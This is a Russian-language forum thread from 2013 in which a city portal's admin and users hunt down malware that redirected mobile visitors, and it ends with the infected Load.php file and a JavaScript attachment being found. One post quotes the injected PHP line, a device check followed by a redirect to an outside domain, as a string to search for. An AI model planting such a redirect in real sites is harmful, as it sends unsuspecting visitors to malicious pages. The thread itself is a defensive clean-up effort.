Настоящий ресурс может содержать материалы 16+
Каменск-Уральский интернет портал

Форум Виртуального Каменска


Мы в социальных сетях:
Виртуальный Каменск в ВКонтакте  Виртуальный Каменск на Одноклассниках
Добро пожаловать, Гость. Пожалуйста, войдите или зарегистрируйтесь.
Вам не пришло письмо с кодом активации?
11 Ноября 2024, 17:35:30

Войти
* Начало Помощь Поиск Войти Регистрация
+  Виртуальный Каменск
|-+  Портал Виртуальный Каменск
| |-+  Портал "Виртуальный Каменск"
| | |-+  Вирус при работе с мобильных устройств
Страниц: 1 ... 3 4 [5]   Вниз
Печать
Автор Тема: Вирус при работе с мобильных устройств  (Прочитано 27756 раз)
0 Пользователей и 1 Гость смотрят эту тему.
Guyver
Ветеран
*****

Карма: +376/-174
Offline Offline

Сообщений: 6781


Чо ты пыришься, демон?


« Ответ #60 : 22 Апреля 2013, 14:48:34 »

Ну хоть пробовали?

Сообщение присоединено: 22 Апреля 2013, 14:50:15
В общем. Ищите вот что:  
Код:
if (detect_mobile_device()) { header("Location: [url=http://dronga.info/mobile/index.php?src=other]http://dronga.info/mobile/index.php?src=other[/url]");exit(); }
« Последнее редактирование: 22 Апреля 2013, 14:50:58 от Guyver » Записан

Culture is a site of the secret, of seduction, of initiation, of a restrained and highly ritualized symbolic exchange. Nothing can be done about it. Too bad for the masses...
--Jean Baudrillard
time
Администратор
Ветеран
*****

Карма: +258/-63
Offline Offline

Пол: Мужской
Сообщений: 3709


WWW
« Ответ #61 : 22 Апреля 2013, 14:52:11 »

Они совсем не заточены. Немного знает clamav, чуть больше скрипт fls.
Вообще стоит поискать любые варианты кодирования текста, вплоть до rot13 и подобного.
Ну и сравнение с бэкапом всегда даст понять где рыть.
В защиту антивирусов - нортон все же бОльшую часть вирусов находит (в другом проекте). Попробую другие варианты
По бакапам - маловероятно. Слишком велики объемы, к тому же сайт постоянно переделывается, и обновляется поэтому фронт работ будет просто нереальным.
Записан

Мы никогда не взрослеем, мы только учимся, как вести себя в обществе
Guyver
Ветеран
*****

Карма: +376/-174
Offline Offline

Сообщений: 6781


Чо ты пыришься, демон?


« Ответ #62 : 22 Апреля 2013, 14:53:30 »

http://joomlaforum.ru/index.php/topic,259689.0.html
Записан

Culture is a site of the secret, of seduction, of initiation, of a restrained and highly ritualized symbolic exchange. Nothing can be done about it. Too bad for the masses...
--Jean Baudrillard
time
Администратор
Ветеран
*****

Карма: +258/-63
Offline Offline

Пол: Мужской
Сообщений: 3709


WWW
« Ответ #63 : 22 Апреля 2013, 14:56:36 »

Ну хоть пробовали?

Сообщение присоединено: 22 Апреля 2013, 14:50:15
В общем. Ищите вот что:  
Код:
if (detect_mobile_device()) { header("Location: [url=http://dronga.info/mobile/index.php?src=other]http://dronga.info/mobile/index.php?src=other[/url]");exit(); }

Пробовали искать те адреса куда шла переадресация до этого (они меняются регулярно). Но проверить вновь не сложно. Испробуем
Записан

Мы никогда не взрослеем, мы только учимся, как вести себя в обществе
voland
Старожил
****

Карма: +99/-14
Offline Offline

Пол: Мужской
Сообщений: 1477



« Ответ #64 : 22 Апреля 2013, 15:09:17 »

unescape - в js
__utma - в php

Сообщение присоединено: 22 Апреля 2013, 17:32:40
unescape - в js
__utma - в php
Нашлось что?
« Последнее редактирование: 22 Апреля 2013, 17:32:40 от voland » Записан

Подпись не придумана
Antia
Старожил
****

Карма: +145/-19
Offline Offline

Пол: Мужской
Сообщений: 1875


« Ответ #65 : 22 Апреля 2013, 18:49:13 »

Сегодня с symbian совсем на k-ur не заходит - "удаленный сервер или файл не найден".

А ПТП свой сайт уже починили...
Записан
Тролль
Shoot гороховый
Ветеран
*****

Карма: +944/-209
Offline Offline

Пол: Мужской
Сообщений: 22922


трЕпаЦЦо люблю


« Ответ #66 : 22 Апреля 2013, 21:05:12 »


В Опере бета - О -  Настройки - Дополнительно - User Agent - Настольный компьютер


у меня вроде получилось
Записан

А ваще-то я БОТ, из Аськи.
Слова: чО, Млин, А-А-А,тута, ыШШо каг и фсе остальные - прошу счЕтать результатом случайных генераций букАфф. (Йа)
time
Администратор
Ветеран
*****

Карма: +258/-63
Offline Offline

Пол: Мужской
Сообщений: 3709


WWW
« Ответ #67 : 22 Апреля 2013, 22:37:16 »

Вроде получилось. Проверяйте.
Вирус сидел на форумском движке. Был заражен файл Load.php код нашелся через "if (detect_mobile_device"
Также был заражен один из файлов вложения (attachment в форуме - ява скриптом) - похоже через него и провели операцию.
В целом несколько неожиданно - я больше грешил на джумловые дырки...
Спасибо всем неравнодушным!
Записан

Мы никогда не взрослеем, мы только учимся, как вести себя в обществе
Guyver
Ветеран
*****

Карма: +376/-174
Offline Offline

Сообщений: 6781


Чо ты пыришься, демон?


« Ответ #68 : 22 Апреля 2013, 22:40:23 »

Все ок.
Записан

Culture is a site of the secret, of seduction, of initiation, of a restrained and highly ritualized symbolic exchange. Nothing can be done about it. Too bad for the masses...
--Jean Baudrillard
Antia
Старожил
****

Карма: +145/-19
Offline Offline

Пол: Мужской
Сообщений: 1875


« Ответ #69 : 22 Апреля 2013, 22:43:07 »

Ура, заработало!
Ровно месяц прошел...
Записан
Страниц: 1 ... 3 4 [5]   Вверх
Печать
Перейти в:  

Новости
Каменска-Уральского

Все новости
Powered by MySQL Powered by PHP Powered by SMF 1.1.21 | SMF © 2006-2009, Simple Machines Valid XHTML 1.0! Valid CSS!